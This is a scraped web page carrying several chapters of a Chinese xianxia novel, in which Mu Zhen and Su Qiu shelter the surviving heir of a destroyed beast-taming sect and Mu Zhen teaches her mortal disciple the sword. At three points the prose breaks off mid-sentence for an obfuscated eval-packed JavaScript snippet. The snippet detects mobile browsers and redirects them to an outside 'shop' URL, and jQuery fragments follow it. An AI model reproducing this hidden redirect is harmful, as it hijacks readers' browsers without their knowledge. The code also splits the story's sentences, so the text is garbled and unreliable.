天光如雪,白衣青年自林中走来,被日光包裹住的模糊虚影转瞬化作实体,仿佛谪仙一脚踏入了凡尘。他朝着慕蓁看来,覆霜凝雪的眉目在见到慕蓁时柔和了几分,似融化的浮冰。 慕蓁的眼瞳颤动起来,她仿佛又感受到后颈传来滚烫难捱的温度,早以为被埋葬在记忆深处的噩梦卷土重来,梦里是青年白衣孑然一身的背影,黑石河谷灰蒙蒙的天,就像魔域的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347518|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长夜一样黯然。 她像个断过骨头的人,淡忘了疼痛和伤痕,雨水却用深入骨髓的冷意,提醒她早就被烙下过无法磨灭的印记。 慕蓁愣愣地喊他:“师兄……” “嗯。”夙秋上前两步,“我……” 他忽然迟疑了一下。 某个瞬间,他竟然觉得慕蓁的眼神悲伤极了,那里面好像蓄满了一整片海洋,每一滴海水都苦涩得五味杂陈。 他不知该如何是好,只好掏出一根糖葫芦,塞进她的手里,说了一句:“我回来了。” 模糊的前世记忆瞬间烟消云散。 慕蓁接下了那根糖葫芦,仿佛如梦初醒,眼中的情绪像退潮一般迅速散去了。 她本能地看了一眼躺在地上不省人事的人影,随后震惊地瞪大了眼睛,连自己想说什么都忘了。 躺在地上的说是野人都算抬举,简直是山里的野猴子,蓬头垢面,发型堪比鸟窝,身上挂满了树杈和叶子,打着绺的头发间还沾了不少泥泞污垢,浑身上下散发出一股难闻的馊味和腥臭味。 “这……”慕蓁沉默了半晌,愣是没敢确认他的品种,“这是人还是猴?” “是人。”迟简举起他的一只手,向慕蓁展示他手上的戒指——和慕蓁手中的金属环长得一模一样。 慕蓁脑子里猛地闪过仙盟发布的“御兽宗灭门案”通告,忽然福至心灵:“他是……那位失踪的御兽宗少宗主?” …… 片刻之后,这位野猴……野人少宗主终于在三人的注视下悠悠转醒。 慕蓁用了点清洁术,总算将他收拾出了个人样,头发被清洁干净,从鸡窝变成了一头有点凌乱的短毛,身上的血污和草叶也都被清空,勉强完成了从猴到人的进化。 但尽管如此,他的模样看起来还是憔悴异常,整张脸瘦得都快脱了相,苹果肌凹陷,颧骨突出,远远一看,活脱脱一副骷髅架子。 和仙盟留下的寻人启事中“御兽宗少宗主齐峰”的留影照片完全是两模两样。 最重要的是,他身上没有携带任何法器,甚至没有任何灵石。 蜀州的灵舟没有他乘坐的记录,也就是说,他不是坐灵舟来中州的,也没有使用任何御空法器,而是凭着两条腿,从蜀州一路走到中州来的。 要知道,自古以来就有“蜀道之难,难于上青天”的说法,蜀州四面环山,想要从蜀州一路走到中州来,必然要经过一番翻山越岭的长途跋涉。 这毅力可就有点惊人了。 齐峰虽然已经醒了,但他似乎对其他人的存在还有些排斥,又或者是因为过了许久提心吊胆的日子,他还没有从杯弓蛇影的状态里脱离出来,低着头不肯说话。 最后还是慕蓁第一个上前,在他的面前蹲了下来。 她什么也没说,只是把那枚银色的金属环放进了齐峰的手中。 齐峰怔怔地看着手中那枚戒指,好像一下子呆住了,过了好半天,他突然嚎啕大哭起来。 那金属环上没有任何篆字,因为它和齐峰手上的戒指本就是相同的款式。他把戒指穿在了一根绳子上,挂在自家灵兽白虎的脖子上。 对于蜀州御兽宗的弟子来说,灵兽不是宠物,不是奴仆,也不是珍贵的“原材料”。 它们是家人和朋友。 8. [锁] 该章节由作者自行锁定 在齐峰颠三倒四的描述中,三人终于把事情的来龙去脉拼凑了出来。 在齐峰口中,他爹,也就是御兽宗的宗主,并非死于黑蚀疫,而是被人谋杀的。 “我那时候就在山上,亲眼看见了,”回想起当时的情景,青年的身体仍然控制不住地颤栗,筛糠似的抖个不停,“他们没发现我,可是我看见了……父亲是被师兄他们杀的……” 夙秋打断了他,给他看玉简里的几张留影:“你口中的师兄,可是这几个人?” 齐峰只看了一眼,脸色已经煞白一片。 留影里的人,正是那几个因外出执行任务而“幸存”的御兽宗弟子。 “我吓坏了,连夜跑回御兽宗,想把事情告诉所有人,可是等我回到宗门,大家已经……” 黑蚀疫爆发,御兽宗一夜之间惨遭灭门。 “他们一直在找我,幸好父亲在宗门内留了一条密道,那密道只有我和我父亲知道。我只能藏在密道里,等了好多天才敢跑出来,可是我没地方可去,我的家早就没了,玉简也丢了。” 为了躲避追杀,他只能往树林里跑。没有玉简,他谁都联系不上,同门背叛的恐惧让他不敢相信和接近任何人,只能一味地逃。 一个自小在修真界长大,娇生惯养,生来就有灵根的少年,能懂得多少野外生存的知识? 他只能在树林里苟且偷生,靠着啃野果和树叶勉强维持生计,把自己活成了山里的野猴子。 他这人也是幸运得离谱,竟然没有饿死在深山里或是被野兽当成口粮,还一路翻越大山从蜀州走到了中州,之后遇上了慕蓁。 慕蓁纳闷:“那你偷偷跟着我做什么?” “我……”齐峰眼泪汪汪地说,“我看见你给齐小二收尸……觉得你是好人……想找你帮忙……” 慕蓁:“……” 她只不过是为了避免黑蚀疫传播,一把火将那些兽尸全烧了,也叫做“收尸”?叫毁尸灭迹还差不多。 无心插柳柳成荫,她顺手之举,倒还落了个好人名声。 “师姐,”迟简皱着眉说,“他的话能信多少?” 慕蓁没开口。 迟简起疑心也是人之常情,这件事的疑点实在是太多了。 其一,御兽宗满门覆灭于黑蚀疫,齐峰是如何躲过一劫的? 其二,这些御兽宗的弟子为何要谋杀宗主,御兽宗灭门又和此事有什么关联? 其三,齐峰这个人的出现,本身是最大的问题和矛盾。 “仙盟的资料上说,你是筑基后期修为,”慕蓁打量了他一番,状似无意般说道,“就算身上什么法器都没带,也不至于混成这副样子吧?好歹给自己用个清洁术啊?” 齐峰瞪大了眼睛,好像才意识到自己是个修士似的,嗫嚅着说:“我忘了。” 众人:“……” 话都说到这份上,谈话也是没法再进行下去了。一个连自己会清洁术都能忘的修士,能指望他说出什么有用的线索才见鬼。 再者说,齐峰一夜之间满门被灭,众叛亲离,又在山林里一个人心惊胆颤地逃亡了这么久,如今恐怕还心神不宁,他们继续逼问下去不光不人道,也很难再问出些什么来。 现在最大的问题是,这么大个人,应该怎么安置? 送去御兽宗肯定不行。如果齐峰说的是实话,御兽宗真的有叛徒,那把他送过去无异于自投罗网。 “带他回灵隐山如何?”迟简说道,“他们的手再长,不至于能伸到灵隐山来。” 慕蓁沉默不语。 理论上,把齐峰送进灵隐山的确是最安全的选项。但不知怎的,她的心头始终有种挥之不去的不安。 直觉告诉她,御兽宗灭门这事儿远远没有结束,并且不像表面看上去那样简单。现在把御兽宗少宗主存活的消息公之于众,或许不是一个好的选择。 如果这件事只牵扯到蜀州或是仙盟,都还算是能处理的,她担心的是另一个更严峻的问题。 御兽宗这整件事里,有没有天道的介入? “先别声张出去,师兄,你带他在附近找个人多一点的人界小镇,先住一段时间。”慕蓁说,“我明天就出发,去蜀州……” 这严肃的节骨眼上,慕蓁的玉简忽然发起了光,传音鸟的虚影从里头飞了出来,叽里呱啦地吵嚷了一通,提醒她有通讯来了。 慕蓁刚接起通讯,一声劈头盖脸的骂就从玉简那头扑面而来,仿佛一巴掌将她的脸从玉简上攮远了:“慕蓁,现在、立刻、马上,带着你那凡人弟子滚出书院,我是教不了他了!” 慕蓁揉了揉感觉马上就要流血的耳朵,问道:“他怎么了?” “你自己来看!”仙师震声道,“真是上梁不正下梁歪!” 他扔下最后一句话,就气冲冲地挂断了通讯。 慕蓁手中还握着玉简,颇为无辜地看向旁边把整段对话都听得一清二楚的迟简和夙秋。 这位仙师是青云书院的老资历,五十年前她还在青云书院念书的时候,他还教过她。 看样子,当年慕蓁给他留下的心理阴影相当大。 半个时辰后,慕蓁站在青云书院的门口,看着角落里的聂云嵬沉默。 少年趴在案几上,头埋在自己的臂弯里,睡得正香。 “三天了,”刘夫子对着慕蓁冷笑,“每天早上他来书院,做的第一件事就是倒头就睡,怎么喊都不醒!把我这课堂当成什么了?” 听他这样说,慕蓁反而松了口气。 还好还好,只是睡觉而已,没干什么惊天动地的大事,比她还是差了点儿——她还在青云书院读书的那会儿,从来没有在课堂上睡过觉。 她通常会直接逃学。 也不知道是不是所谓教师的气场压制,慕蓁在长老殿的长老们面前都从容不迫,在刘夫子面前却没敢多吭一声,一面讪讪地赔着笑,一面往教室里走。 聂云嵬的睡眠质量简直令她羡慕极了,刘夫子的嗓门一开,八百里外也能把他的骂词听得一清二楚,聂云嵬竟然还能在这样的环境下睡得巍然不动。慕蓁走到他跟前,推了推他的肩膀,试探道:“起床了。” 少年没反应。 慕蓁:“下课了。” 蹭的一下,聂云嵬从桌上抬起了头。 慕蓁:“……” 好家伙,这上课半死不活、下课生龙活虎的劲,颇有她当年的风范。 “我不管他是不是凡人,我这课堂上,不收毫无上进之心的弟子,”刘夫子冷哼一声,“既然他不愿听,那就滚回去!” 最终,刘夫子连师父带徒弟,把他们俩一齐打包丢出了青云书院。 少年手里还抱着上课用的教材,苍白着一张没什么血色的脸,眼皮恹恹地耷拉着,一副没睡醒的样子,对自己被赶出教室这件事毫无起伏。 慕蓁看着他,只觉得一阵恍惚。她的大脑还没来得及从御兽宗的事情上转换回来,就好像上一秒还在思考腥风血雨、阴谋诡计,下一秒她就变成了要管孩子学习的单亲家长,巨大的割裂感把她整个人切成了两半。 最终她叹了口气:“走吧,回家。” 两人一前一后,走在回清静峰的路上。 在送聂云嵬去青云书院之前,慕蓁想过很多种可能,譬如他会不会因为凡人身份,遭到其他学生的冷眼和霸凌之类。结果万万没想到,这才第三天,聂云嵬就因为违反课堂纪律被退回来了。 慕蓁有点苦恼。 她前世从没收过徒弟,自然也没有当师父的经验,贸然领了个徒弟回来,就像看流浪的小猫小狗可怜就捡回了家似的,却没想过要怎么对他负责。 虽然她那时候也没想过,捡回来的徒弟会在大半夜的时候出现在她的床头,像鬼一样默默地盯着她看。 那天她半夜的时候忽然被某种被窥视的感觉惊醒,睁开眼看见站在床边的聂云嵬,差点顺手把床头摆放的花瓶砸到他脑袋上。 以至于后来几天,她晚上睡觉的时候都要锁门。 也就是她现在修为不行,这要是过去在魔域,聂云嵬早就投胎八百回了。 也是从那天起,慕蓁才决定把聂云嵬送青云书院去。 事实上,聂云嵬一介凡人,修真界的知识他学不学都无所谓。慕蓁带他回了灵隐山,自然也做好了能保他在山上安稳过一辈子的准备。 让聂云嵬去书院,只是为了给他找点事做,以免他闲得慌,半夜又跑到她的床头边盯着她。 慕蓁当时还怀疑这孩子是不是脑子有点毛病,如今反倒有点愧疚,心想把他送去书院这件事是不是她做得不够妥当。 该不会聂云嵬上课睡觉这件事,和那天晚上有关吧? “咳。”她清了清嗓子,决定先试探一下,“你最近身体上有什么不舒服吗?” 聂云嵬抬起眼皮,平静地说:“没有。” 慕蓁:“那……” 聂云嵬:“上课,太催眠。” 慕蓁沉默了。 就这样?而已? 聂云嵬又补充:“课上讲的内容,我都会了。不想听。” 慕蓁心想,这样不行,虽说聂云嵬是个凡人,学习修真界的知识对他来说或许没什么作用,但直接当着仙师的面睡觉也未免太过明目张胆,影响不好。她试图引导他:“虽然是这样,但人外有人,天外有人,你……” 等会。 她的话突然卡了壳,半晌才意识到哪里不对:“你……会什么东西了?” “书里的内容。”聂云嵬向她展示自己手中的教材,“我都背下来了。” …… 清静峰半山腰的小院中,慕蓁看着手中的几本堆起来有手掌高的必修一教材陷入沉默。 这些书是书院一年级新生需要学习的内容,内容从《修真界通史》涵盖到《灵植识鉴大全》,每一本书内容排版都密密麻麻,没有半点水分。 聂云嵬刚住进清静峰的第一天,她就把这些教材给了他,嘱咐他每天看三页,不求多,慢慢追上其他学生的进度就行。 如今才过去不到一周,聂云嵬却说他把书看完了。 慕蓁起初还有所怀疑,于是随便挑了几段内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347519|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问,结果聂云嵬不光对答如流,并且还把页码和章节都背了出来。 实在是太匪夷所思了。 她一个常年在灵隐山修为垫底的炼气废柴,好不容易收了个凡人当徒弟,结果这个凡人还是个过目不忘的天才,到头来吊车尾的依然只有她一个。 这是什么运气? 慕蓁深吸一口气:“你不想去上课?” 聂云嵬点头。 慕蓁:“那……你有什么想学的吗?” 聂云嵬犹豫了片刻,竟真有了反应,他将目光移动到了墙上。 慕蓁循着他的目光看去,也愣了一愣。 挂在墙上的是一把普普通通的木剑。 那是她过去在青云书院时用的,就取材自这座院子外的桃花树,剑还是当初夙秋替她削的。 后来她放弃当剑修之后,这把剑就再也没用过,从此挂在墙上当了个吃灰的摆设。 “你想学这个?”慕蓁道,“我能不能问问……为什么?” 聂云嵬的神色迟疑了。 实际上,他自己也说不清原因。 他自山野乡村长大,从没习过武,也没看过什么话本,从来没有像同龄人一样,对书中那些剑修、侠客产生不切实际的妄想。 没有灵力的人,几乎不可能成为剑修,这一点他比谁都清楚。他一介凡人,被慕蓁收留住在这灵隐山上,注定也没法融入其他人,能混吃等死安安稳稳地度过一生,就是最幸福的结局。 但不知怎的,当他第一次见到那些剑修弟子的时候,他心中就忽然升起了一种无法形容的熟悉感。 就好像他生来就应该是学剑的。 慕蓁见他不说话,也没有追问,她歪着脑袋思索了片刻,转身回了房间,在自己的书架上翻了半天,终于翻出一本书。 她带着书走出房间,将木剑从墙上取了下来,一口气吹去上面落的灰,对聂云嵬道:“跟我来。” 院子外空地不少,慕蓁随手找了一处,四五丈宽长的草坪,旁边还种着一棵巨大的香樟树。 她把那本薄薄的书塞进聂云嵬手里,摊开了第一页,一个执剑前刺的小人赫然呈现在纸上。 聂云嵬向后翻了几页,发现这是幅剑法拆解图,小人画得简陋,动作却十分惟妙惟肖,笔锋之间将执剑的动态画得栩栩如生。 旁边还有几段简短的注释,从字体上看,不像是出自修真界的印刷法术,而是手写上去的。 慕蓁也不急,对聂云嵬说道:“你先看这几页,看完了,按书上的动作要领试一试。” 这几页图解并不长,聂云嵬很快就看完了,他将书放在地上,回忆着文字要领和图解,试探着向前刺出一剑。 他毕竟没有任何习武基础,虽然过目不忘,但短短几分钟里也只是学了个皮毛,刺出剑的动作软绵绵的,有形却无实。 因此刚一抬手,慕蓁就说道:“不对。” 她大步走过来,握住聂云嵬的手腕。 这动作算不上逾距,慕蓁抓的是他的袖口,几乎没有接触到皮肤。但她的指尖颀长,仍然有一点碰到了他的手背,触感仿佛冰似的,冻得聂云嵬一个激灵。 聂云嵬有一瞬间的发愣,下意识地去看身后的慕蓁。 大夏天的,她身上里里外外裹了好几层衣服,手竟然还是这么冰凉。 “剑法基础,最重要的是稳。”慕蓁毫无察觉,握着他的手腕抬高至与胸口平齐的高度,向前猛地一递,“下盘要稳,出剑也要稳。像这样。” 她说这话时认真极了,就连天生上挑的唇角都抿成了一条线,平日里种种懒散和不着调消失得无影无踪,好像换了个人似的。 像柄平日裹在一把华而不实的剑鞘里的剑忽然出鞘,轻佻散漫的壳子底下露出了剑刃的寒光。 她握着聂云嵬的手示范完,又从他手中接过了木剑,像模像样地挽了个剑花,忽然提剑收腿,一剑朝着聂云嵬刺去! 按理来说,慕蓁作为一名医修,剑术最多不过会个皮毛,能勉强教他点基础已属不错。没想到这一剑刺出,竟如流云破空,剑势凛然,大有高手一夫当关、万夫莫开的气势,木剑直挺挺刺向聂云嵬,绯红的裙摆一踢一扬,仿佛榴花欲燃。 顷刻间,少年的视野完全被这瑰丽又靡艳的颜色点燃,跳动的心脏和呼吸都在一瞬间停歇,不知道是因为直抵面门的剑尖,还是因为余光里榴花一般火红的裙摆。 剑尖掀起的风将他的额发吹起,却在他面前停了去势,恰好接住一片飘落的树叶。 慕蓁横过木剑,将剑柄递到聂云嵬的胸前。 聂云嵬还愣在原地。 这一剑并没有任何灵力,但给人的感觉却是行云流水,力道把握得刚刚好,身姿也是挺拔标准,稳如磐石,完全能够作为动作参考画进剑法教科书里。 别说慕蓁只是个医修,恐怕灵隐山大多数筑基期的剑修,都做不到这个程度。 慕蓁把剑又往前递了两寸,逼着聂云嵬用双手接下,这才笑了:“今天开始,你只练这一个动作,什么时候练会了,再教你下一招。” 9. 白帝城「01」 位于中州南面的宛城是个普通却热闹的人界小镇。 这里没有宵禁,即便到了夜里,镇上的商贩们也没有要歇业休息的意思,小镇上依旧车水马龙,四处都是吆五喝六的揽客声。 中州近日的黑蚀疫四处泛滥,但还好,天灾还没有蔓延到这座幸运的城镇上。凡人们的生活没有受到太多影响——除了因为天灾而飙升的物价。 “你不晓得哦,我今天到集市上看,菜的价钱翻了一倍!”天字一号客栈的老板娘是个蜀州人,操着一口川蜀口音,正在门口和街坊邻里的主妇大吐苦水,“最近我店里客人都少了,唉……这世道越来越恼火,生意也不好做,哪天再来场天灾,我们这些老百姓可遭不住咯。” 她说的全是真情实感的实话。天字一号最近生意惨淡,如今到了饭点,客栈里也没有几桌客人,格外冷清。 黑蚀疫影响太大,毁了不少农田果园,再加上暴雨频发引起洪灾,菜价果价一路飞升,味道还越来越差,据说就连街道上那小贩卖的糖葫芦吃起来都是酸的。 “昨天你店里不是才来了位大客户?”邻居调侃,“还是位道长呢,那些个住在仙山上的仙人给钱可大方了,我看啊,你这生意还能再做一阵子,关不了门。” 俩人聊得热火朝天,正说到一半,老板娘目光向外一瞄,忽然看见一个人停在客栈门口,一双眼睛立刻亮了起来,脸上喜笑颜开:“不讲了,有生意来了。” 说完,她快步朝着客栈门口走去,热情地问:“姑娘,打尖还是住店?” 不怪她如此心急揽客,站在店门口的是个乌发雪肤的少女,梳着三股辫,发间编着红丝络,拢着件貉子毛的素色大氅,唇角弯弯,桃花眼带着笑,一看就是不缺钱的人家。 就是穿得有点多。 老板娘眼光扫过她身上那显然是冬天才会穿的大厚斗篷,有些诧异。 虽说最近中州雨下得频繁,天气偏凉,但也没有冷到这种程度吧? 少女这时候开了口:“我来找我师兄。他昨天是不是和另一个人一起来的?” “哎呀,你就是道长先前说的那个师妹啊!”老板娘一拍手,“对头对头,姑娘你先在下头坐一哈,我去喊他来!” 说完,她朝厨房吼了一嗓子,唤小二来招待,自个噔噔地踩着楼梯上楼去了。 慕蓁在大堂角落里坐了下来,向店小二要了一壶茶,打量着这间客栈。 昨天她回灵隐山之后,夙秋听了她的话,带着齐峰去凡人界找能够落脚的地方了。她安置好了聂云嵬,休息一夜,便按照夙秋发的坐标,直奔宛城来了。 不得不说,他这些年没白在人界游历,很会挑地方,宛城商业发达,繁华热闹,又不会太过嘈杂,是个很适合大隐隐于市的好地方。 凡人界一向是修士的盲区,把齐峰放在这里,甚至比放在灵隐山都要安全得多。 没过一会儿,夙秋就带着齐峰一起下楼了。 经过一天的休息,这青年终于从野人脱胎换骨,找回了些许御兽宗少宗主的样子,气色也好了不少。 他的肤色较常人要黑一些,一双眼睛偏圆,瞳孔又黑又大,棕色的短发后边还梳了一根小辫,乍一看去,五官和他养的那头白虎有那么几分相似。 听说养灵兽的时间长了,灵宠和主人会越长越像,竟是真的。 他见了慕蓁,还有些不好意思,大概是觉得自己昨天当着这么多人的面哭得一把鼻涕一把泪太丢人,有些不自在地在慕蓁对面坐了下来:“谢谢你们这两天招待我,灵石我以后一定会想办法还上的。这位……呃……道友……” 他卡壳了一下,突然才意识到,他压根不知道其他人叫什么名字。 “慕蓁。”慕蓁言简意赅地说,“昨天走得急,没来得及介绍,你旁边这位是我师兄,夙秋。” “夙……?”齐峰瞪大眼睛,“这个姓氏,是白帝城夙家的夙?” 听见夙秋的名字,第一反应不是“剑尊最出色的大弟子”,而是“白帝城夙家”,这样的人在修真界倒是少见。 慕蓁看了夙秋一眼,见他没有什么表示,才点了点头。“我们今天找你,也有些事情想同你说。” 在齐峰茫然的神色中,她将玉简打开,翻出了仙盟对于“御兽宗灭门”一案的最终公告。 “你口中杀死你父亲的凶手,就是那几个‘幸存’的御兽宗弟子,现在都住进了白帝城。”慕蓁把玉简上的内容摊开给他看,“明面上的说辞是,‘白帝城作为蜀州代表宗门,一方有难、八方支援,义不容辞’。” 客栈里的空气一下子凝固了。 “你、你的意思是,”齐峰呆呆地说道,“你觉得是白帝城的人害死了我爹?” “只是一种猜测,没有证据,只不过我这个人一向不太相信巧合。”慕蓁把他的脑袋从看向夙秋的方向扳回来,“别看他了,我师兄只是姓夙,平时和家里没什么联系。” 齐峰坐在椅子上,仍是没反应过来:“可是,为什么?白帝城是蜀州第一宗门,御兽宗只是个没名气的小门派,我爹和夙家也没什么来往,他们有什么理由要害我爹?” “所以这就得看你了。”慕蓁循循善诱,“你仔细想想,最近一段时间在御兽宗,有没有感受到过什么异常?不管是你爹的,还是你那几个师兄的异常。” 齐峰两条眉毛都撇成了八字,忧愁地坐在椅子上发呆,像个命苦的倭瓜。 这人本身就不是个有主见的性格,否则也不会在出事之后无头苍蝇似的在树林里瞎晃悠半个月。于是虽然没想明白为什么白帝城会和他爹扯上关系,还是本能地顺着慕蓁的思路往下想。 可惜,过了没一会儿,他就沮丧地低了头:“我、我真的想不到,那几位师兄的修为都比我高许多,灵兽养得也比我好。我爹平日里很器重他们,还总是拿他们数落我,我不知道我爹究竟哪里得罪他们了……” “他们的修为很高吗?”慕蓁随口问道,“有多高?” “他们都是元婴期。”齐峰说,“我们宗门的御兽之法修炼起来很特殊,御兽宗弟子的修为普遍不高,我爹也只有元婴中期而已。” 这就更说不通了。既然这些弟子都是宗门里的中流砥柱,平白无故的,为什么要杀御兽宗的宗主呢? 只有一种可能,他们受到了某种胁迫,或者是引诱。威逼利诱之下,或是失手、或是蓄意,杀死了御兽宗的宗主。 御兽宗灭门这事也不对劲,发生的时间太巧,宗主被杀和宗门沦陷几乎是前后脚发生的,很难不让人揣测这之间的关联。 “我协助仙盟在御兽宗清理现场的时候,用仪器测过当地的黑蚀浓度。”一直沉默的夙秋这时候忽然开口,“只有丙级。” 慕蓁心道,果然。 修真界根据测量仪器的刻度,把黑蚀浓度从高到低分为甲乙丙丁四个等级。像栖霞村的黑蚀浓度,测出来就是甲级,和乙级一样对修士完全没有威胁;到了丙级,则会对灵根较弱、灵力不足的修士产生威胁。 丁级以上是最可怕的,在这种浓度下,几乎任何修士都无法抵挡黑蚀的入侵。 当时去御兽宗清理现场的仙盟弟子都没有发生意外,说明那里的黑蚀浓度并没有达到丁级。 想到这里,慕蓁忽然一把抓住了齐峰的手。 齐峰被她吓了一大跳,本能地想把手收回去,手腕却被扣得死死的,连说话都磕巴了:“你、你干嘛?” 少女的脸色没什么变化,只是眉毛略微挑了一下。 她悄悄输了点灵力进齐峰体内,果不其然,齐峰身体里灵力稀薄,丹田力的灵力浅得像下雨天泥土地上凹积的一滩水,修为最多达到炼气,根本不是记录上的“筑基后期”。 在九州修真界,修炼滞涩、修为倒退的大有人在,但齐峰这副样子压根就不是简单的修为倒退,而是灵根出了问题。如果说他的先天灵力原本是三级,这会儿恐怕只有两级了。 这就很不正常了。哪怕活了两辈子,慕蓁也是第一次听说过先天灵力还能变化的。 齐峰的灵力,就像是被平白无故抽走了一样。 他压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374030|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根不是什么“忘记了要用清洁术”,而是灵力枯竭,连最基础的清洁术都用不出来了。只不过长时间的逃亡让他的精神一直处于紧绷状态,因而没有注意到,或者说是大脑让他忽略了这些细节。 这样看来,他现在的修为恐怕连慕蓁都不如。 紧接着,慕蓁想到了一种更可怕的可能性。 如果那东西能够吸走齐峰的灵力,那能不能吸走整个御兽宗弟子的灵力? “慕蓁道友?”齐峰见她一直不说话,整个心都提到了嗓子眼,小心翼翼地问,“你怎么了,我有什么问题吗?” 看她的眼神,仿佛他得了绝症就要死了似的。 慕蓁回过神,松开了他的手腕:“明天,我想先去御兽宗看看。” “我可以带你去。”夙秋说,“御兽宗如今戒严,你没有仙盟身份,很难进去。” 在这时候,天字一号的老板娘忽然掀帘从厨房走了出来,手中端着一碗羊肉汤,放在慕蓁面前。 “你这女娃娃,热天把火的穿这么厚实,肯定是身子虚的。”她把冒着热气的羊肉汤推到慕蓁面前,“多喝几碗,驱寒暖身的,不够大娘那儿还有!” 说完便转身朝柜台去了,还摆了一下手,生怕她掏钱似的,补充:“不要钱,不要钱。大娘看着你稀罕,我男人都走了十几年咯,要是我女儿还在的话,也该和你一样大了。” 热腾腾的肉香味飘到鼻尖,慕蓁愣在原地,转过头去看夙秋。 夙秋也看着她,目光带着诧异,像在说“怎么了”。 她一时没说话,端着那碗热乎的羊肉汤,没来由的,她忽然想起很久以前的事情来。 慕蓁七岁入灵隐山,在十五岁进入青云书院之前,一直都是夙秋在照顾她。 当然,说是照顾,其实慕蓁能活到今日,纯属命大。 在外人眼中,夙秋是真正的天之骄子,十岁筑基,百岁结婴,如今距离化神只差一步之遥,在年轻一辈中天赋和实力无出其右。秉性更是淡然如水,光风霁月,清冷出尘,和剑尊像是一个模子里刻出来的。 但要慕蓁来说,这些都是扯淡。 在亲眼目睹这位师兄用糖葫芦和拨浪鼓从她十岁哄到了二十岁后,慕蓁就明白,夙秋沉默寡言不是因为性格冷漠,而是因为他有一个九块九灵石包邮的新大脑,里面空空如也,除了剑术和一点妹控属性以外什么也没装。 ……简单地说,他脑子有点问题。 和她的师弟师妹相比,夙秋简直是师门当中最单纯的傻白甜。 因此在最初他们相遇的时候,曾经也遇到过不少麻烦。 那时候的夙秋完全不懂如何带孩子,起初甚至以为只要把慕蓁往自己身后一放,她就能自个在灵剑上立起来。于是御剑几个时辰下来,往往是慕蓁出于怕死把自己牢牢地扒着夙秋大腿,被高空的风吹得涕泗横流睁不开眼。 他也不会哄孩子,见别人家的父母都给孩子买拨浪鼓和糖葫芦,就依样画葫芦地学了回来,把小摊上买到的拨浪鼓送给慕蓁。 哪怕当时的慕蓁已经十岁了,早就过了玩拨浪鼓的年纪。 最夸张的是,十次出任务,有十一次他会忘记慕蓁的存在,把慕蓁丢在人界独自离开,直到大半天后忽然记起自己忘了什么,才会御剑折返回来。 那个时候,他们也常常这样在人界的某间客栈落脚,一觉醒来发现师兄不见踪影,慕蓁就乖巧地从客房里出来,熟练地下楼退房,然后找张桌子坐下,一直等到夙秋回来找她为止。 现在回想起来,那些日子竟已过去百年了。 能够坐在人界的一家寻常客栈里,吃着再平凡不过的家常便饭,对慕蓁来说都已经是一种奢侈的幸福。 她也很久没有和夙秋一起同行过了。 “好。既然师兄方便,那就这么说定了。”慕蓁将碗里的肉汤一饮而尽,只觉暖意瞬间传递至四肢百骸,她从椅子上站起来,长长地伸了个懒腰,像只刚晒完太阳的猫,“明天我们就去御兽宗,看看这背后搞鬼的东西,到底是人是鬼。”